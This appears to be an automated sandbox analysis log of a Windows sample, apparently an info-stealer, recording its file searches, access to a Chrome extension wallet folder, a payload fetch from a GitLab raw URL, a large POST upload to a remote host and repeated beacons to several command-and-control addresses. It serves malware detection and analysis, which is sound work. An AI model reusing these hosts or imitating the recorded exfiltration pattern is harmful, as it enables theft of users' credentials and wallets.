Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50882 version: TLS 1.2

Source: LIccs3x2LZ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\A\34\b\bin\amd64\_sqlite3.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096780181.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2149532149.00007FF8B93CB000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\select.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2104084226.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\TBuild\pc_client\out\Release\CloudChat.exe.pdb source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdbMM source: LIccs3x2LZ.exe, 00000000.00000003.2096428051.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2149060764.00007FF8B8B3D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_bz2.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2095952667.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2150055084.00007FF8B9F6F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\pywintypes.pdb** source: LIccs3x2LZ.exe, 00000003.00000002.2148654788.00007FF8B7E51000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2095647055.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2150167259.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\sqlite3.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\win32crypt.pdb!! source: LIccs3x2LZ.exe, 00000003.00000002.2148954147.00007FF8B8B02000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_hashlib.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096259087.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\TBuild\pc_client\out\Release\CloudChat.exe.pdb1T source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\pywintypes.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2148654788.00007FF8B7E51000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\python38.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2146134292.00007FF8A8E0C000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_socket.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096641661.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <glob pattern="*.pdb"/> source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\win32crypt.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2148954147.00007FF8B8B02000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_ctypes.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2149362108.00007FF8B8F82000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096428051.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2149060764.00007FF8B8B3D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\unicodedata.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2104935897.00000266D2F7B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2095820479.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2150314208.00007FF8BA4F5000.00000002.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929E87E0 FindFirstFileExW,FindClose,	0_2_00007FF6929E87E0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929E7810 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6929E7810
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF692A02A84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF692A02A84
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929E87E0 FindFirstFileExW,FindClose,	3_2_00007FF6929E87E0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF692A02A84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00007FF692A02A84
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929E7810 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00007FF6929E7810

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 49998

Source: global traffic	TCP traffic: 192.168.2.5:49711 -> 103.78.229.139:5222
Source: global traffic	TCP traffic: 192.168.2.5:49792 -> 139.144.164.103:5222
Source: global traffic	TCP traffic: 192.168.2.5:49831 -> 185.196.8.119:50000
Source: global traffic	TCP traffic: 192.168.2.5:49835 -> 45.79.244.41:5222
Source: global traffic	TCP traffic: 192.168.2.5:49850 -> 66.228.63.175:5222
Source: global traffic	TCP traffic: 192.168.2.5:49853 -> 66.228.63.21:5222
Source: global traffic	TCP traffic: 192.168.2.5:49858 -> 139.144.164.192:5222
Source: global traffic	TCP traffic: 192.168.2.5:49998 -> 185.196.10.235:50001

Source: global traffic	HTTP traffic detected: GET /get HTTP/1.1Host: httpbin.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: 185.196.8.119:50000Content-Length: 1262724Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: global traffic	HTTP traffic detected: GET /deepchat2019/flsajfascol/raw/master/ajdioafd1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*Host: gitlab.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
